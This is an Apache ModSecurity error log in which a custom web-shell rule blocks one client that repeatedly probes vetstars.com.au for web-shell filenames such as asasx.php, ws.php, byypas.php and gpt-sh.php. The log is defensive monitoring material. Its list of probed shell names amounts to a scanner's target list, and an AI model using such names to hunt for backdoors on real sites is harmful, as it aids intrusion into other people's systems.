[Mon Apr 06 00:16:17.891341 2026] [:error] [pid 45409:tid 45424] [client 172.161.76.59:60376] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qiumnpor3orjwr6me3zmgqCdefault.php"] [unique_id "adKK0dHt_Oyw03gjCNiwFAAAAM0"]
[Mon Apr 06 00:16:18.781831 2026] [:error] [pid 30921:tid 30943] [client 172.161.76.59:54947] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qiumnpor3orjwr6me3zmgqCdefault.php"] [unique_id "adKK0mFGQVn8Q0ueB252xQAAARQ"]
[Mon Apr 06 00:16:19.974522 2026] [:error] [pid 45409:tid 45429] [client 172.161.76.59:59670] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qiumnpor3orjwr6me3zmgqCdefault.php"] [unique_id "adKK09Ht_Oyw03gjCNiwIgAAANI"]
[Mon Apr 06 00:16:21.159635 2026] [:error] [pid 45409:tid 45418] [client 172.161.76.59:59702] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qiumnpor3orjwr6me3zmgqCdefault.php"] [unique_id "adKK1dHt_Oyw03gjCNiwKQAAAMc"]
[Mon Apr 06 00:16:22.914029 2026] [:error] [pid 45409:tid 45413] [client 172.161.76.59:60929] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adKK1tHt_Oyw03gjCNiwOQAAAMI"]
[Mon Apr 06 00:16:24.386659 2026] [:error] [pid 45305:tid 45385] [client 172.161.76.59:7347] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adKK2OjDQjr7aWhjflCnzAAAAI4"]
[Mon Apr 06 00:16:27.006713 2026] [:error] [pid 30921:tid 30937] [client 172.161.76.59:60413] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adKK22FGQVn8Q0ueB2523QAAAQ4"]
[Mon Apr 06 00:16:29.445966 2026] [:error] [pid 45304:tid 45347] [client 172.161.76.59:59667] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adKK3Q5jnqDKKovdRklaVwAAAEM"]
[Mon Apr 06 00:16:31.972346 2026] [:error] [pid 30921:tid 30942] [client 172.161.76.59:54954] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "adKK32FGQVn8Q0ueB2525gAAARM"]
[Mon Apr 06 00:16:35.282308 2026] [:error] [pid 45409:tid 45433] [client 172.161.76.59:54945] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "adKK49Ht_Oyw03gjCNiwfgAAANY"]
[Mon Apr 06 00:16:38.702004 2026] [:error] [pid 30921:tid 30945] [client 172.161.76.59:59703] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "adKK5mFGQVn8Q0ueB2528AAAARY"]
[Mon Apr 06 00:16:40.330420 2026] [:error] [pid 45303:tid 45339] [client 172.161.76.59:60982] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "adKK6LboQ9eViZ4hdnm02QAAABY"]
[Mon Apr 06 00:16:42.540595 2026] [:error] [pid 30921:tid 30941] [client 172.161.76.59:7353] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/only.php"] [unique_id "adKK6mFGQVn8Q0ueB252_AAAARI"]
[Mon Apr 06 00:16:43.706391 2026] [:error] [pid 45409:tid 45425] [client 172.161.76.59:54922] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/only.php"] [unique_id "adKK69Ht_Oyw03gjCNiwpAAAAM4"]
[Mon Apr 06 00:16:44.370255 2026] [:error] [pid 45409:tid 45413] [client 172.161.76.59:59658] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/only.php"] [unique_id "adKK7NHt_Oyw03gjCNiwqAAAAMI"]
[Mon Apr 06 00:16:44.919774 2026] [:error] [pid 45303:tid 45330] [client 172.161.76.59:60972] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/only.php"] [unique_id "adKK7LboQ9eViZ4hdnm04wAAAA0"]
[Mon Apr 06 00:16:46.133473 2026] [:error] [pid 45303:tid 45339] [client 172.161.76.59:60398] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "adKK7rboQ9eViZ4hdnm07AAAABY"]
[Mon Apr 06 00:16:47.007199 2026] [:error] [pid 45303:tid 45330] [client 172.161.76.59:54919] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "adKK77boQ9eViZ4hdnm08QAAAA0"]
[Mon Apr 06 00:16:47.820497 2026] [:error] [pid 45303:tid 45317] [client 172.161.76.59:63061] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "adKK77boQ9eViZ4hdnm09gAAAAA"]
[Mon Apr 06 00:16:48.717533 2026] [:error] [pid 45305:tid 45391] [client 172.161.76.59:63055] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "adKK8OjDQjr7aWhjflCoAwAAAJQ"]
[Mon Apr 06 00:16:50.213205 2026] [:error] [pid 45303:tid 45340] [client 172.161.76.59:59705] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adKK8rboQ9eViZ4hdnm1BAAAABc"]
[Mon Apr 06 00:16:52.516277 2026] [:error] [pid 45409:tid 45426] [client 172.161.76.59:63057] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adKK9NHt_Oyw03gjCNiwxAAAAM8"]
[Mon Apr 06 00:16:53.467526 2026] [:error] [pid 45305:tid 45382] [client 172.161.76.59:53204] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adKK9ejDQjr7aWhjflCoCwAAAIs"]
[Mon Apr 06 00:16:56.413303 2026] [:error] [pid 45303:tid 45325] [client 172.161.76.59:59654] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adKK-LboQ9eViZ4hdnm1HQAAAAg"]
[Mon Apr 06 00:17:47.461710 2026] [:error] [pid 30921:tid 30931] [client 172.161.76.59:60397] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adKLK2FGQVn8Q0ueB253wgAAAQg"]
[Mon Apr 06 00:17:50.327959 2026] [:error] [pid 45303:tid 45338] [client 172.161.76.59:60987] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adKLLrboQ9eViZ4hdnm1_QAAABU"]
[Mon Apr 06 00:17:54.047900 2026] [:error] [pid 45305:tid 45371] [client 172.161.76.59:59682] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adKLMujDQjr7aWhjflCoiQAAAIA"]
[Mon Apr 06 00:17:56.974788 2026] [:error] [pid 45305:tid 45377] [client 172.161.76.59:60951] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adKLNOjDQjr7aWhjflCojgAAAIY"]
[Mon Apr 06 00:17:58.097461 2026] [:error] [pid 45304:tid 45365] [client 172.161.76.59:53196] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adKLNg5jnqDKKovdRkla1gAAAFU"]
[Mon Apr 06 00:17:58.924657 2026] [:error] [pid 45409:tid 45411] [client 172.161.76.59:60935] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adKLNtHt_Oyw03gjCNiyMgAAAMA"]
[Mon Apr 06 00:18:00.100166 2026] [:error] [pid 45305:tid 45390] [client 172.161.76.59:59674] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adKLOOjDQjr7aWhjflConAAAAJM"]
[Mon Apr 06 00:18:01.375271 2026] [:error] [pid 45409:tid 45433] [client 172.161.76.59:54962] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adKLOdHt_Oyw03gjCNiyPAAAANY"]
[Mon Apr 06 00:18:03.212000 2026] [:error] [pid 45409:tid 45425] [client 172.161.76.59:56564] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adKLO9Ht_Oyw03gjCNiyTAAAAM4"]
[Mon Apr 06 00:18:05.737053 2026] [:error] [pid 45409:tid 45421] [client 172.161.76.59:54966] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adKLPdHt_Oyw03gjCNiyXAAAAMo"]
[Mon Apr 06 00:18:07.521167 2026] [:error] [pid 45303:tid 45330] [client 172.161.76.59:63093] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adKLP7boQ9eViZ4hdnm2NgAAAA0"]
[Mon Apr 06 00:18:08.305396 2026] [:error] [pid 45305:tid 45380] [client 172.161.76.59:7340] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adKLQOjDQjr7aWhjflCoqAAAAIk"]
[Mon Apr 06 00:18:09.624823 2026] [:error] [pid 30921:tid 30931] [client 172.161.76.59:59696] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adKLQWFGQVn8Q0ueB2538AAAAQg"]
[Mon Apr 06 00:18:11.628215 2026] [:error] [pid 45304:tid 45368] [client 172.161.76.59:7328] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adKLQw5jnqDKKovdRkla8AAAAFg"]
[Mon Apr 06 00:18:13.549757 2026] [:error] [pid 30921:tid 30928] [client 172.161.76.59:53189] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adKLRWFGQVn8Q0ueB253-QAAAQU"]
[Mon Apr 06 00:18:14.606346 2026] [:error] [pid 30921:tid 30941] [client 172.161.76.59:53193] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "adKLRmFGQVn8Q0ueB253-wAAARI"]
[Mon Apr 06 00:18:16.461500 2026] [:error] [pid 45303:tid 45329] [client 172.161.76.59:7342] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adKLSLboQ9eViZ4hdnm2YgAAAAw"]
[Mon Apr 06 00:18:17.630249 2026] [:error] [pid 45303:tid 45341] [client 172.161.76.59:7341] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adKLSbboQ9eViZ4hdnm2awAAABg"]
[Mon Apr 06 00:18:19.450202 2026] [:error] [pid 45409:tid 45435] [client 172.161.76.59:59683] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adKLS9Ht_Oyw03gjCNiygAAAANg"]
[Mon Apr 06 00:18:20.898878 2026] [:error] [pid 45409:tid 45426] [client 172.161.76.59:59656] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "adKLTNHt_Oyw03gjCNiyhQAAAM8"]
[Mon Apr 06 00:18:22.552339 2026] [:error] [pid 45305:tid 45386] [client 172.161.76.59:60390] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "adKLTujDQjr7aWhjflCoygAAAI8"]
[Mon Apr 06 00:18:24.596318 2026] [:error] [pid 45409:tid 45430] [client 172.161.76.59:63086] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "adKLUNHt_Oyw03gjCNiylgAAANM"]
[Mon Apr 06 00:18:25.820110 2026] [:error] [pid 45409:tid 45434] [client 172.161.76.59:59700] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "adKLUdHt_Oyw03gjCNiynwAAANc"]
[Mon Apr 06 00:18:30.216007 2026] [:error] [pid 45305:tid 45371] [client 172.161.76.59:60366] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "adKLVujDQjr7aWhjflCo1gAAAIA"]
[Mon Apr 06 00:18:35.699507 2026] [:error] [pid 45304:tid 45347] [client 172.161.76.59:63096] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adKLWw5jnqDKKovdRklbEAAAAEM"]
[Mon Apr 06 00:18:40.370347 2026] [:error] [pid 30921:tid 30947] [client 172.161.76.59:54929] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adKLYGFGQVn8Q0ueB254LQAAARg"]
[Mon Apr 06 00:18:41.647360 2026] [:error] [pid 45303:tid 45319] [client 172.161.76.59:60942] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adKLYbboQ9eViZ4hdnm2wAAAAAI"]
[Mon Apr 06 00:18:43.958026 2026] [:error] [pid 45303:tid 45331] [client 172.161.76.59:54961] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adKLY7boQ9eViZ4hdnm2xgAAAA4"]
[Mon Apr 06 00:19:33.262798 2026] [:error] [pid 45304:tid 45368] [client 172.161.76.59:59661] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "adKLlQ5jnqDKKovdRklbbgAAAFg"]
[Mon Apr 06 00:19:35.108221 2026] [:error] [pid 45409:tid 45427] [client 172.161.76.59:63058] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "adKLl9Ht_Oyw03gjCNiz-gAAANA"]
[Mon Apr 06 00:19:37.643424 2026] [:error] [pid 45303:tid 45335] [client 172.161.76.59:54921] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "adKLmbboQ9eViZ4hdnm3bgAAABI"]
[Mon Apr 06 00:19:46.756331 2026] [:error] [pid 45409:tid 45427] [client 172.161.76.59:60959] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "adKLotHt_Oyw03gjCNi0OgAAANA"]
